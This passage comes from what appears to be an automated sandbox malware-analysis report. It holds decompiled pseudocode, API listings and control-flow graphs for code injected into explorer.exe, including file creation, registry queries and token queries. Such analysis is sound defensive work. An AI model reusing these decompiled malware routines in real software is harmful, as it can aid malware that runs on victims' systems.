                                                                                                                                                                                                                                                                                                      0x010fb3c6
                                                                                                                                                                                                                                                                                                      0x010fb3d1
                                                                                                                                                                                                                                                                                                      0x010fb511
                                                                                                                                                                                                                                                                                                      0x010fb517
                                                                                                                                                                                                                                                                                                      0x010fb517
                                                                                                                                                                                                                                                                                                      0x010fb3da
                                                                                                                                                                                                                                                                                                      0x010fb3de
                                                                                                                                                                                                                                                                                                      0x010fb3ea
                                                                                                                                                                                                                                                                                                      0x010fb3ec
                                                                                                                                                                                                                                                                                                      0x010fb405
                                                                                                                                                                                                                                                                                                      0x010fb410
                                                                                                                                                                                                                                                                                                      0x010fb412
                                                                                                                                                                                                                                                                                                      0x010fb41c
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010fb426
                                                                                                                                                                                                                                                                                                      0x010fb42b
                                                                                                                                                                                                                                                                                                      0x010fb42e
                                                                                                                                                                                                                                                                                                      0x010fb435
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010fb456
                                                                                                                                                                                                                                                                                                      0x010fb45c
                                                                                                                                                                                                                                                                                                      0x010fb460
                                                                                                                                                                                                                                                                                                      0x010fb469
                                                                                                                                                                                                                                                                                                      0x010fb473
                                                                                                                                                                                                                                                                                                      0x010fb479
                                                                                                                                                                                                                                                                                                      0x010fb483
                                                                                                                                                                                                                                                                                                      0x010fb488
                                                                                                                                                                                                                                                                                                      0x010fb48b
                                                                                                                                                                                                                                                                                                      0x010fb492
                                                                                                                                                                                                                                                                                                      0x010fb4a6
                                                                                                                                                                                                                                                                                                      0x010fb4ab
                                                                                                                                                                                                                                                                                                      0x010fb4ae
                                                                                                                                                                                                                                                                                                      0x010fb4b4
                                                                                                                                                                                                                                                                                                      0x010fb4b9
                                                                                                                                                                                                                                                                                                      0x010fb4bc
                                                                                                                                                                                                                                                                                                      0x010fb4bf
                                                                                                                                                                                                                                                                                                      0x010fb4bf
                                                                                                                                                                                                                                                                                                      0x010fb4c5
                                                                                                                                                                                                                                                                                                      0x010fb4d1
                                                                                                                                                                                                                                                                                                      0x010fb4d5
                                                                                                                                                                                                                                                                                                      0x010fb4da
                                                                                                                                                                                                                                                                                                      0x010fb4c7
                                                                                                                                                                                                                                                                                                      0x010fb4cd
                                                                                                                                                                                                                                                                                                      0x010fb4cd
                                                                                                                                                                                                                                                                                                      0x010fb4e1
                                                                                                                                                                                                                                                                                                      0x010fb4e6
                                                                                                                                                                                                                                                                                                      0x010fb4e9
                                                                                                                                                                                                                                                                                                      0x010fb4ec
                                                                                                                                                                                                                                                                                                      0x010fb4ec
                                                                                                                                                                                                                                                                                                      0x010fb4f2
                                                                                                                                                                                                                                                                                                      0x010fb4fa
                                                                                                                                                                                                                                                                                                      0x010fb4fc
                                                                                                                                                                                                                                                                                                      0x010fb4fc
                                                                                                                                                                                                                                                                                                      0x010fb4f2
                                                                                                                                                                                                                                                                                                      0x010fb4fe
                                                                                                                                                                                                                                                                                                      0x010fb4fe
                                                                                                                                                                                                                                                                                                      0x010fb473
                                                                                                                                                                                                                                                                                                      0x010fb509
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtQueryValueKey.NTDLL(00000000,?,00000002,00000000,00000000,00000000,?,010FB39F,00000000), ref: 010FB410
                                                                                                                                                                                                                                                                                                      • NtQueryValueKey.NTDLL(00000000,?,00000002,00000000,00000000,00000000,?,?,010FB39F), ref: 010FB45C
                                                                                                                                                                                                                                                                                                        • Part of subcall function 010F7700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00004000,00000000), ref: 010F7728
                                                                                                                                                                                                                                                                                                        • Part of subcall function 010F7700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 010F7741
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeMemoryQueryValueVirtual
                                                                                                                                                                                                                                                                                                      • String ID: #
                                                                                                                                                                                                                                                                                                      • API String ID: 1094421473-1885708031
                                                                                                                                                                                                                                                                                                      • Opcode ID: 4c12c4262089b423c1229482ecaa866a45491a146f96481d3c807cb3268a6871
                                                                                                                                                                                                                                                                                                      • Instruction ID: 73f6f08b5bb0b4060fc300a5ba4281742714839eebd3b58863a4244563e03273
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4c12c4262089b423c1229482ecaa866a45491a146f96481d3c807cb3268a6871
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9A41C6B5A00209EFDB14DF98C889FEEB7B5BF48304F148598EA456B750D774AA80CF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 401 10f6c10-10f6c3b call 10f16e0 405 10f6ccf-10f6cd5 401->405 406 10f6c41-10f6cb9 call 10f16e0 * 2 NtCreateFile 401->406 406->405 412 10f6cbb-10f6ccd call 10f16e0 NtClose 406->412 412->405
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 65%
                                                                                                                                                                                                                                                                                                      			E010F6C10(intOrPtr _a4) {
                                                                                                                                                                                                                                                                                                      				void* _v8;
                                                                                                                                                                                                                                                                                                      				long _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				void* _v32;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v36;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v40;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v44;
                                                                                                                                                                                                                                                                                                      				char* _v48;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v52;
                                                                                                                                                                                                                                                                                                      				void* _v56;
                                                                                                                                                                                                                                                                                                      				long _t34;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				_push(0);
                                                                                                                                                                                                                                                                                                      				_push(0);
                                                                                                                                                                                                                                                                                                      				_push( &_v24);
                                                                                                                                                                                                                                                                                                      				_push(_a4);
                                                                                                                                                                                                                                                                                                      				if(( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      					_v56 = 0x18;
                                                                                                                                                                                                                                                                                                      					_v52 = 0;
                                                                                                                                                                                                                                                                                                      					_v44 = 0x40;
                                                                                                                                                                                                                                                                                                      					_v48 =  &_v24;
                                                                                                                                                                                                                                                                                                      					_v40 = 0;
                                                                                                                                                                                                                                                                                                      					_v36 = 0;
                                                                                                                                                                                                                                                                                                      					_push(8);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v32);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					_v8 = 0;
                                                                                                                                                                                                                                                                                                      					E010F16E0();
                                                                                                                                                                                                                                                                                                      					_t34 = NtCreateFile( &_v8, 0x100002,  &_v56,  &_v32, 0, 0x80, 2, 3, 1, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      					_v16 = _t34;
                                                                                                                                                                                                                                                                                                      					if(_v16 >= 0) {
                                                                                                                                                                                                                                                                                                      						_v12 = 1;
                                                                                                                                                                                                                                                                                                      						E010F16E0();
                                                                                                                                                                                                                                                                                                      						NtClose(_v8); // executed
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v12;
                                                                                                                                                                                                                                                                                                      			}















                                                                                                                                                                                                                                                                                                      0x010f6c16
                                                                                                                                                                                                                                                                                                      0x010f6c1d
                                                                                                                                                                                                                                                                                                      0x010f6c1f
                                                                                                                                                                                                                                                                                                      0x010f6c24
                                                                                                                                                                                                                                                                                                      0x010f6c28
                                                                                                                                                                                                                                                                                                      0x010f6c3b
                                                                                                                                                                                                                                                                                                      0x010f6c41
                                                                                                                                                                                                                                                                                                      0x010f6c48
                                                                                                                                                                                                                                                                                                      0x010f6c4f
                                                                                                                                                                                                                                                                                                      0x010f6c59
                                                                                                                                                                                                                                                                                                      0x010f6c5c
                                                                                                                                                                                                                                                                                                      0x010f6c63
                                                                                                                                                                                                                                                                                                      0x010f6c6a
                                                                                                                                                                                                                                                                                                      0x010f6c6c
                                                                                                                                                                                                                                                                                                      0x010f6c71
                                                                                                                                                                                                                                                                                                      0x010f6c7a
                                                                                                                                                                                                                                                                                                      0x010f6c7c
                                                                                                                                                                                                                                                                                                      0x010f6ca5
                                                                                                                                                                                                                                                                                                      0x010f6cb0
                                                                                                                                                                                                                                                                                                      0x010f6cb2
                                                                                                                                                                                                                                                                                                      0x010f6cb9
                                                                                                                                                                                                                                                                                                      0x010f6cbb
                                                                                                                                                                                                                                                                                                      0x010f6cc6
                                                                                                                                                                                                                                                                                                      0x010f6ccd
                                                                                                                                                                                                                                                                                                      0x010f6ccd
                                                                                                                                                                                                                                                                                                      0x010f6cb9
                                                                                                                                                                                                                                                                                                      0x010f6cd5

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00100002,00000018,?,00000000,00000080,00000002,00000003,00000001,00000000,00000000), ref: 010F6CB0
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 010F6CCD
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CloseCreateFile
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 590554452-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: 6d1dcd6b6878a337c0ff32b34eb0633d2f27ffae5501617546f137da5ad8420d
                                                                                                                                                                                                                                                                                                      • Instruction ID: 9c9204787e5ffcdd09d4939b76862f5395c9b8540b2e959430c1f8e2b36904a9
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6d1dcd6b6878a337c0ff32b34eb0633d2f27ffae5501617546f137da5ad8420d
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C0211F74A40308ABEB10DFD4CC46FDEB7B9AF48704F108158E644BB2D0DBB5AA08CB95
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 415 10f9890-10f98a1 416 10f98a9-10f98ad 415->416 417 10f98a3-10f98a7 415->417 418 10f98af-10f98b2 416->418 419 10f98b7-10f98c2 416->419 417->416 417->418 420 10f99ff-10f9a02 418->420 421 10f98de-10f98e2 419->421 422 10f98c4-10f98d7 call 10f97f0 419->422 424 10f99fc 421->424 425 10f98e8-10f990f call 10f16e0 NtQueryInformationToken 421->425 422->421 424->420 429 10f99e9-10f99ed 425->429 430 10f9915-10f9928 call 10f7460 425->430 429->424 431 10f99ef-10f99fa call 10f16e0 NtClose 429->431 430->429 435 10f992e-10f994f call 10f16e0 NtQueryInformationToken 430->435 431->424 435->429 439 10f9955-10f9976 call 10f16e0 435->439 443 10f99dd-10f99e1 call 10f7700 439->443 444 10f9978-10f9980 call 10f7460 439->444 447 10f99e6 443->447 448 10f9985-10f998f 444->448 447->429 449 10f99c9-10f99da call 10f16e0 448->449 450 10f9991-10f99c2 call 10f16e0 448->450 449->443 450->449
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 62%
                                                                                                                                                                                                                                                                                                      			E010F9890(intOrPtr _a4, void* _a8, intOrPtr* _a12) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr* _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v24;
                                                                                                                                                                                                                                                                                                      				intOrPtr* _v28;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v32;
                                                                                                                                                                                                                                                                                                      				signed int _v36;
                                                                                                                                                                                                                                                                                                      				void* _t52;
                                                                                                                                                                                                                                                                                                      				intOrPtr* _t55;
                                                                                                                                                                                                                                                                                                      				void* _t59;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t67;
                                                                                                                                                                                                                                                                                                      				void* _t78;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t96;
                                                                                                                                                                                                                                                                                                      				void* _t99;
                                                                                                                                                                                                                                                                                                      				void* _t100;
                                                                                                                                                                                                                                                                                                      				void* _t102;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v20 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0 || _a8 != 0) {
                                                                                                                                                                                                                                                                                                      					if(_a12 != 0) {
                                                                                                                                                                                                                                                                                                      						_v24 = 0;
                                                                                                                                                                                                                                                                                                      						if(_a8 == 0) {
                                                                                                                                                                                                                                                                                                      							_t78 = E010F97F0(0, _a4, 8);
                                                                                                                                                                                                                                                                                                      							_t99 = _t99 + 0xc;
                                                                                                                                                                                                                                                                                                      							_a8 = _t78;
                                                                                                                                                                                                                                                                                                      							_v24 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						if(_a8 != 0) {
                                                                                                                                                                                                                                                                                                      							_v8 = 0;
                                                                                                                                                                                                                                                                                                      							_push( &_v8);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(1);
                                                                                                                                                                                                                                                                                                      							_push(_a8);
                                                                                                                                                                                                                                                                                                      							_t52 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xb4))))(); // executed
                                                                                                                                                                                                                                                                                                      							if(_t52 == 0xc0000023) {
                                                                                                                                                                                                                                                                                                      								_t55 = E010F7460(_v8); // executed
                                                                                                                                                                                                                                                                                                      								_t100 = _t99 + 4;
                                                                                                                                                                                                                                                                                                      								_v16 = _t55;
                                                                                                                                                                                                                                                                                                      								if(_v16 != 0) {
                                                                                                                                                                                                                                                                                                      									_push( &_v8);
                                                                                                                                                                                                                                                                                                      									_push(_v8);
                                                                                                                                                                                                                                                                                                      									_push(_v16);
                                                                                                                                                                                                                                                                                                      									_push(1);
                                                                                                                                                                                                                                                                                                      									_push(_a8);
                                                                                                                                                                                                                                                                                                      									_t59 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xb4))))(); // executed
                                                                                                                                                                                                                                                                                                      									if(_t59 >= 0) {
                                                                                                                                                                                                                                                                                                      										_v28 = _v16;
                                                                                                                                                                                                                                                                                                      										_push(1);
                                                                                                                                                                                                                                                                                                      										_push( *_v28);
                                                                                                                                                                                                                                                                                                      										_t85 =  &_v36;
                                                                                                                                                                                                                                                                                                      										_push( &_v36);
                                                                                                                                                                                                                                                                                                      										if( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x174))))() >= 0) {
                                                                                                                                                                                                                                                                                                      											_t67 = E010F7460((_v36 & 0x0000ffff) + 2); // executed
                                                                                                                                                                                                                                                                                                      											_t102 = _t100 + 4;
                                                                                                                                                                                                                                                                                                      											_v12 = _t67;
                                                                                                                                                                                                                                                                                                      											if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      												_push(_v36 & 0x0000ffff);
                                                                                                                                                                                                                                                                                                      												_t96 = _v32;
                                                                                                                                                                                                                                                                                                      												_push(_t96);
                                                                                                                                                                                                                                                                                                      												_push(_v12);
                                                                                                                                                                                                                                                                                                      												 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x30))))();
                                                                                                                                                                                                                                                                                                      												asm("cdq");
                                                                                                                                                                                                                                                                                                      												 *((short*)(_v12 + ((_v36 & 0x0000ffff) - _t96 >> 1) * 2)) = 0;
                                                                                                                                                                                                                                                                                                      												 *_a12 = _v12;
                                                                                                                                                                                                                                                                                                      												_v20 = 1;
                                                                                                                                                                                                                                                                                                      											}
                                                                                                                                                                                                                                                                                                      											_t85 =  &_v36;
                                                                                                                                                                                                                                                                                                      											_push( &_v36);
                                                                                                                                                                                                                                                                                                      											 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x16c))))();
                                                                                                                                                                                                                                                                                                      											_t100 = _t102 + 4;
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										E010F7700(_t85, _v16); // executed
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v24 != 0) {
                                                                                                                                                                                                                                                                                                      								E010F16E0();
                                                                                                                                                                                                                                                                                                      								NtClose(_a8); // executed
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						return _v20;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					goto L3;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					L3:
                                                                                                                                                                                                                                                                                                      					return _v20;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}




















                                                                                                                                                                                                                                                                                                      0x010f9896
                                                                                                                                                                                                                                                                                                      0x010f98a1
                                                                                                                                                                                                                                                                                                      0x010f98ad
                                                                                                                                                                                                                                                                                                      0x010f98b7
                                                                                                                                                                                                                                                                                                      0x010f98c2
                                                                                                                                                                                                                                                                                                      0x010f98cc
                                                                                                                                                                                                                                                                                                      0x010f98d1
                                                                                                                                                                                                                                                                                                      0x010f98d4
                                                                                                                                                                                                                                                                                                      0x010f98d7
                                                                                                                                                                                                                                                                                                      0x010f98d7
                                                                                                                                                                                                                                                                                                      0x010f98e2
                                                                                                                                                                                                                                                                                                      0x010f98e8
                                                                                                                                                                                                                                                                                                      0x010f98f2
                                                                                                                                                                                                                                                                                                      0x010f98f3
                                                                                                                                                                                                                                                                                                      0x010f98f5
                                                                                                                                                                                                                                                                                                      0x010f98f7
                                                                                                                                                                                                                                                                                                      0x010f98fc
                                                                                                                                                                                                                                                                                                      0x010f9908
                                                                                                                                                                                                                                                                                                      0x010f990f
                                                                                                                                                                                                                                                                                                      0x010f9919
                                                                                                                                                                                                                                                                                                      0x010f991e
                                                                                                                                                                                                                                                                                                      0x010f9921
                                                                                                                                                                                                                                                                                                      0x010f9928
                                                                                                                                                                                                                                                                                                      0x010f9931
                                                                                                                                                                                                                                                                                                      0x010f9935
                                                                                                                                                                                                                                                                                                      0x010f9939
                                                                                                                                                                                                                                                                                                      0x010f993a
                                                                                                                                                                                                                                                                                                      0x010f993f
                                                                                                                                                                                                                                                                                                      0x010f994b
                                                                                                                                                                                                                                                                                                      0x010f994f
                                                                                                                                                                                                                                                                                                      0x010f9958
                                                                                                                                                                                                                                                                                                      0x010f995b
                                                                                                                                                                                                                                                                                                      0x010f9962
                                                                                                                                                                                                                                                                                                      0x010f9963
                                                                                                                                                                                                                                                                                                      0x010f9966
                                                                                                                                                                                                                                                                                                      0x010f9976
                                                                                                                                                                                                                                                                                                      0x010f9980
                                                                                                                                                                                                                                                                                                      0x010f9985
                                                                                                                                                                                                                                                                                                      0x010f9988
                                                                                                                                                                                                                                                                                                      0x010f998f
                                                                                                                                                                                                                                                                                                      0x010f9995
                                                                                                                                                                                                                                                                                                      0x010f9996
                                                                                                                                                                                                                                                                                                      0x010f9999
                                                                                                                                                                                                                                                                                                      0x010f999d
                                                                                                                                                                                                                                                                                                      0x010f99a6
                                                                                                                                                                                                                                                                                                      0x010f99ac
                                                                                                                                                                                                                                                                                                      0x010f99b6
                                                                                                                                                                                                                                                                                                      0x010f99c0
                                                                                                                                                                                                                                                                                                      0x010f99c2
                                                                                                                                                                                                                                                                                                      0x010f99c2
                                                                                                                                                                                                                                                                                                      0x010f99c9
                                                                                                                                                                                                                                                                                                      0x010f99cc
                                                                                                                                                                                                                                                                                                      0x010f99d8
                                                                                                                                                                                                                                                                                                      0x010f99da
                                                                                                                                                                                                                                                                                                      0x010f99da
                                                                                                                                                                                                                                                                                                      0x010f99e1
                                                                                                                                                                                                                                                                                                      0x010f99e6
                                                                                                                                                                                                                                                                                                      0x010f994f
                                                                                                                                                                                                                                                                                                      0x010f9928
                                                                                                                                                                                                                                                                                                      0x010f99ed
                                                                                                                                                                                                                                                                                                      0x010f99f3
                                                                                                                                                                                                                                                                                                      0x010f99fa
                                                                                                                                                                                                                                                                                                      0x010f99fa
                                                                                                                                                                                                                                                                                                      0x010f99ed
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f99fc
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f98af
                                                                                                                                                                                                                                                                                                      0x010f98af
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f98af

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtQueryInformationToken.NTDLL(00000000,00000001,00000000,00000000,00000000), ref: 010F9908
                                                                                                                                                                                                                                                                                                      • NtQueryInformationToken.NTDLL(00000000,00000001,00000000,00000000,00000000), ref: 010F994B
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 010F99FA
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: InformationQueryToken$Close
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 459398573-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 02a96c9ca6e175dd29210570a1fd0146c6febbf0166646d9f5b9f6714eb9f5d8
                                                                                                                                                                                                                                                                                                      • Instruction ID: 1288478239fe047f55e1a4606e814dec74960a57f11fc1152a6168106ee5857d
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 02a96c9ca6e175dd29210570a1fd0146c6febbf0166646d9f5b9f6714eb9f5d8
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 704152B4900209EFDB14DFA8C846BEEB7B4AF48308F04816CF6449B690D779AA44CB51
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 508 10f6970-10f6981 509 10f698b-10f69a9 call 10f16e0 508->509 510 10f6983-10f6986 508->510 515 10f69af-10f6a0d call 10f16e0 NtCreateFile 509->515 516 10f6a3c 509->516 511 10f6a3f-10f6a42 510->511 519 10f6a0f-10f6a1f call 10f16e0 515->519 520 10f6a23-10f6a37 call 10fd560 call 10f16e0 515->520 516->511 519->520 520->516
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 61%
                                                                                                                                                                                                                                                                                                      			E010F6970(intOrPtr _a4) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				void* _v28;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v32;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v36;
                                                                                                                                                                                                                                                                                                      				long _v40;
                                                                                                                                                                                                                                                                                                      				char* _v44;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v48;
                                                                                                                                                                                                                                                                                                      				void* _v52;
                                                                                                                                                                                                                                                                                                      				long _t32;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v20);
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					if(( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      						_v52 = 0x18;
                                                                                                                                                                                                                                                                                                      						_v48 = 0;
                                                                                                                                                                                                                                                                                                      						_v40 = 0x40;
                                                                                                                                                                                                                                                                                                      						_v44 =  &_v20;
                                                                                                                                                                                                                                                                                                      						_v36 = 0;
                                                                                                                                                                                                                                                                                                      						_v32 = 0;
                                                                                                                                                                                                                                                                                                      						_v12 = 0;
                                                                                                                                                                                                                                                                                                      						E010F16E0();
                                                                                                                                                                                                                                                                                                      						_t32 = NtCreateFile( &_v12, 0x80,  &_v52,  &_v28, 0, 0, 1, 1, 0x40, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      						if(_t32 >= 0) {
                                                                                                                                                                                                                                                                                                      							_v8 = 1;
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0()))))();
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v16);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( *((intOrPtr*)(E010FD560() + 0x18)));
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x28))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v8;
                                                                                                                                                                                                                                                                                                      			}















                                                                                                                                                                                                                                                                                                      0x010f6976
                                                                                                                                                                                                                                                                                                      0x010f6981
                                                                                                                                                                                                                                                                                                      0x010f698b
                                                                                                                                                                                                                                                                                                      0x010f698d
                                                                                                                                                                                                                                                                                                      0x010f6992
                                                                                                                                                                                                                                                                                                      0x010f6996
                                                                                                                                                                                                                                                                                                      0x010f69a9
                                                                                                                                                                                                                                                                                                      0x010f69af
                                                                                                                                                                                                                                                                                                      0x010f69b6
                                                                                                                                                                                                                                                                                                      0x010f69bd
                                                                                                                                                                                                                                                                                                      0x010f69c7
                                                                                                                                                                                                                                                                                                      0x010f69ca
                                                                                                                                                                                                                                                                                                      0x010f69d1
                                                                                                                                                                                                                                                                                                      0x010f69d8
                                                                                                                                                                                                                                                                                                      0x010f69fe
                                                                                                                                                                                                                                                                                                      0x010f6a09
                                                                                                                                                                                                                                                                                                      0x010f6a0d
                                                                                                                                                                                                                                                                                                      0x010f6a0f
                                                                                                                                                                                                                                                                                                      0x010f6a19
                                                                                                                                                                                                                                                                                                      0x010f6a21
                                                                                                                                                                                                                                                                                                      0x010f6a21
                                                                                                                                                                                                                                                                                                      0x010f6a26
                                                                                                                                                                                                                                                                                                      0x010f6a27
                                                                                                                                                                                                                                                                                                      0x010f6a31
                                                                                                                                                                                                                                                                                                      0x010f6a3a
                                                                                                                                                                                                                                                                                                      0x010f6a3a
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f6a3c
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00000080,00000018,?,00000000,00000000,00000001,00000001,00000040,00000000,00000000), ref: 010F6A09
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
